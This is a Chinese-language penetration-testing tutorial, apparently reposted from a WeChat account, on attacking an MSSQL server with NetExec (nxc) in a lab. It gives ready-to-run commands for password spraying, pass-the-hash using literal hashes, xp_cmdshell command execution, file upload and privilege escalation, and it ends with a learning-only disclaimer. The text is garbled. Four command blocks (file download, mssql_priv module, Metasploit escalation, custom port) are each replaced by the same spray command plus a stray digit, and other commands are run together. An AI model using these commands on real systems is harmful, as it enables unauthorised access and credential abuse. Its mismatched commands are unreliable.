介绍
该项目最初由 @byt3bl33d3r 于 2015 年创建,称为 CrackMapExec。2019 年,@mpgn_x64 开始在接下来的 4 年里维护该项目,添加了许多出色的工具和功能。2023 年 9 月,他不再维护该项目。NetExec (nxc) 是一款功能强大的网络开发工具,是 CrackMapExec (CME) 的现代继任者,被渗透测试人员和红队成员广泛使用。
测试机器
NetExec (nxc) 是一款高效且适应性强的安全专家工具,可提供用于网络利用和后利用任务的高级功能。其全面的功能不仅可以在 MSSQL 服务器,还可以在其他服务上高效地喷洒密码和执行命令,使其成为渗透测试和红队行动中的重要资产。
• 目标机器:Windows 10(192.168.31.126) • 攻击者机器:Kali Linux(192.168.31.141)
密码喷洒
创建一个用户名字典 users.txt
和密码字典 pass.txt
。创建字典后,可以执行密码喷洒攻击来检查正确的用户名和密码。以下是执行此操作的命令:
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success
可以使用 --local-auth
标志,它指定针对 MSSQL 服务器上的本地帐户进行身份验证尝试。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
使用哈希进行喷洒
如果获得了哈希值,但不确定该哈希值属于哪个用户,在 -H
标志中给出获得的哈希值。
nxc mssql 192.168.31.126 -u users.txt -H 64FBAE31CC352FC26AF97CBDEF151E03 --continue-on-success
每个用户名只能与列表中的相应密码一起使用,那么我们可以使用 --no-bruteforce
标志。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --no-bruteforce
检查身份验证
两种方法对 MSSQL 进行身份验证,即 windows
或 local
,默认身份验证是 windows
。参考:https://learn.microsoft.com/zh-cn/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-ver16
要使用本地身份验证,请在命令中添加以下标志 --local-auth
。这里尝试以 sa
用户身份执行本地身份验证。
nxc mssql 192.168.31.126 -u sa -p 'password@123' --local-auth
由于默认模式设置为 Windows 身份验证,不需要提供任何参数。
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987'
使用 nxc 执行 DB 命令
使用 nxc
来查询数据库,方法是给出 -q
标志,然后数据库查询。执行此操作的命令是:
nxc mssql 192.168.31.126 -u sa -p 'password@123' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'
使用 nxc 执行命令
为了执行系统级命令,使用 -x
标志,使用 MSSQL xp_cmdshell
来执行命令。根据需要在这里使用 Windows 和本地身份验证。
nxc mssql 192.168.31.126 -u sa -p 'password@123' --local-auth -x ipconfignxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' -x ipconfig
使用哈希执行命令
假设我们以某种方式获得了管理员用户的哈希值,并且我们想要使用 MSSQL 执行系统级命令,那么我们可以使用 nxc
来执行该操作。首先,我们将检查 Windows 身份验证是否成功,然后我们可以给出 -x
标志来执行命令。
nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38nxc mssql 192.168.31.126 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig
使用 nxc 上传和下载文件
我们还可以使用 nxc
将文件上传到目标系统,通过提供 --put-file
标志,采用文件名和需要上传的路径。
nxc mssql 192.168.31.126 -u administrator -p 'Ignite@987' --put-file file.txt C:\Windows\Temp\file.txt
也可以使用 --get-file
标志下载文件。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
0
用 nxc 进行权限提升
使用 nxc
的 mssql_priv
模块检查当前用户是否被允许执行权限提升。我们可以在 -M
标志后明确提及模块名称。通过添加 --local-auth
标志,可以使用本地身份验证重复相同的过程。
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
1
为了执行权限提升,我们将使用 Metasploit 框架。有一个名为 auxiliary/admin/mssql/mssql_escalate_execute_as
的模块,可用于执行权限提升。以下是模块中使用的命令:
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
2
运行漏洞利用程序后,显示用户 ignite
现在是 sysadmin
。为了检查这一点,我们将再次在 nxc
中运行之前使用的命令。命令的输出显示用户 ignite
已经是 sysadmin
。我们也可以在受害机器中确认用户 ignite
是 sysadmin
。
指定端口号
我们可以看到 MSSQL 服务器在端口 9070 上运行。因此我们可以执行以下命令:
nxc mssql 192.168.31.126 -u users.txt -p pass.txt --continue-on-success --local-auth
3
项目地址:
https://github.com/Pennyw0rth/NetExec
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...